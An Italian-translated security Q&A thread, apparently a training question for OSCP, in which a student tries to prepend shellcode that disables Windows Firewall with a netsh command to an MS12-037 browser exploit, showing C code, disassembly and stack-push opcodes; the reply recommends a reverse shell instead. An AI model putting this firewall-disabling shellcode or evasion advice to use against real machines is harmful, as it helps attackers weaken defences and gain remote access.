Modifica del codice shell per bypassare Windows Firewall

4

Come parte della formazione del mio OSCP, dovrei ottenere una shell su una macchina Win7 utilizzando l'exploit del browser (MS12-037) con il firewall di Windows acceso.

Ho un'idea ma ho difficoltà a applicarlo.

Quello che sto cercando di fare è inserire un codice che spenga il firewall prima di eseguire lo shellcode.

Per prima cosa ho scritto un programma in C che spegne il firewall:

#include "stdlib.h"

int main ()
{

int i;
i=system ("netsh advfirewall set currentprofile state off");


return 0;

}

Poi ho compilato il programma e lo ho disassemblato, e ho ottenuto questo:

004013a0 <_main>:
  4013a0:   8d 4c 24 04             lea    ecx,[esp+0x4]
  4013a4:   83 e4 f0                and    esp,0xfffffff0
  4013a7:   ff 71 fc                push   DWORD PTR [ecx-0x4]
  4013aa:   55                      push   ebp
  4013ab:   89 e5                   mov    ebp,esp
  4013ad:   51                      push   ecx
  4013ae:   83 ec 14                sub    esp,0x14
  4013b1:   e8 6a ff ff ff          call   401320 <___main>
  4013b6:   83 ec 0c                sub    esp,0xc
  4013b9:   68 24 30 40 00          push   0x403024
  4013be:   e8 c5 01 00 00          call   401588 <_system>
  4013c3:   83 c4 10                add    esp,0x10
  4013c6:   89 45 f8                mov    DWORD PTR [ebp-0x8],eax
  4013c9:   b8 00 00 00 00          mov    eax,0x0
  4013ce:   8b 4d fc                mov    ecx,DWORD PTR [ebp-0x4]
  4013d1:   c9                      leave  
  4013d2:   8d 61 fc                lea    esp,[ecx-0x4]
  4013d5:   c3                      ret    
  4013d6:   90                      nop
  4013d7:   90                      nop

La parte che mi interessa è questa:

  4013b6:   83 ec 0c                sub    esp,0xc
  4013b9:   68 24 30 40 00          push   0x403024
  4013be:   e8 c5 01 00 00          call   401588 <_system>
  4013c3:   83 c4 10                add    esp,0x10

Questo è il punto in cui il programma alloca lo spazio per l'indirizzo della stringa netsh advfirewall set currentprofile state off nello stack e lo passa a system() e pulisce lo stack in seguito.

Voglio inserire queste istruzioni prima del mio shellcode in modo da spegnere il firewall prima che la shell di binding / reverse entri in gioco. Poiché il comando nel programma C si trova nella memoria, il programma ha dovuto inserire il suo indirizzo nello stack non la stringa effettiva.

Per far funzionare l'exploit, ho bisogno di spingere la stringa attuale sullo stack e passarla a system() , quindi ho usato Corlean per ottenere le istruzioni che spingono la stringa effettiva nello stack.

String length : 46
Opcodes to push this string onto the stack :

"\x68\x66\x66\x20\x00"    //PUSH 0x00206666
"\x68\x74\x65\x20\x6f"    //PUSH 0x6f206574
"\x68\x20\x73\x74\x61"    //PUSH 0x61747320
"\x68\x66\x69\x6c\x65"    //PUSH 0x656c6966
"\x68\x74\x70\x72\x6f"    //PUSH 0x6f727074
"\x68\x72\x72\x65\x6e"    //PUSH 0x6e657272
"\x68\x74\x20\x63\x75"    //PUSH 0x75632074
"\x68\x6c\x20\x73\x65"    //PUSH 0x6573206c
"\x68\x65\x77\x61\x6c"    //PUSH 0x6c617765
"\x68\x76\x66\x69\x72"    //PUSH 0x72696676
"\x68\x68\x20\x61\x64"    //PUSH 0x64612068
"\x68\x6e\x65\x74\x73"    //PUSH 0x7374656e

Quindi ora devo allocare spazio per questa stringa nello stack

\x83\xEC\x41  \sub esp,65

chiama system()

\xe8\xc5\x01\x00\x00        call   401588 

Quindi pulisci lo stack

\x83\xC4\x41            add esp,byte +0x41

Ho due problemi qui:

  1. Le istruzioni che sto utilizzando contengono caratteri errati "00"

  2. la dimensione totale delle modifiche più il codice della shell, supera la dimensione del buffer nel exploit originale

Quindi le mie domande sono:

  1. Esiste una soluzione ai suddetti problemi?

  2. Questo modo di risolvere il problema è corretto / fattibile?

  3. Ci sono modi migliori per gestirlo?

posta HSN 15.04.2016 - 20:34
fonte

1 risposta

4

Ti stai sbagliando completamente nel tuo approccio, dal momento che stai sfruttando IE che è un processo con privilegi più bassi per impostazione predefinita non sarai in grado di disabilitare il firewall. inoltre, quando si attacca con un exploit client non si possono fare ipotesi sulle configurazioni di rete, potrebbe esserci più di un firewall tra l'host e te, un NAT potrebbe bloccare la connessione della shell e la porta su cui si finisce per ascoltare potrebbe non essere aperta .

il mio suggerimento è quello di optare per un payload della shell inversa, che completa i limiti di sfruttamento lato client e supporta più casi d'uso. inoltre, le configurazioni predefinite del firewall di Windows consentono il traffico in uscita senza limitazioni, il che significa che essenzialmente il firewall di Windows è "bypassato", come nel non bloccare la shell.

    
risposta data 30.04.2017 - 15:54
fonte

Leggi altre domande sui tag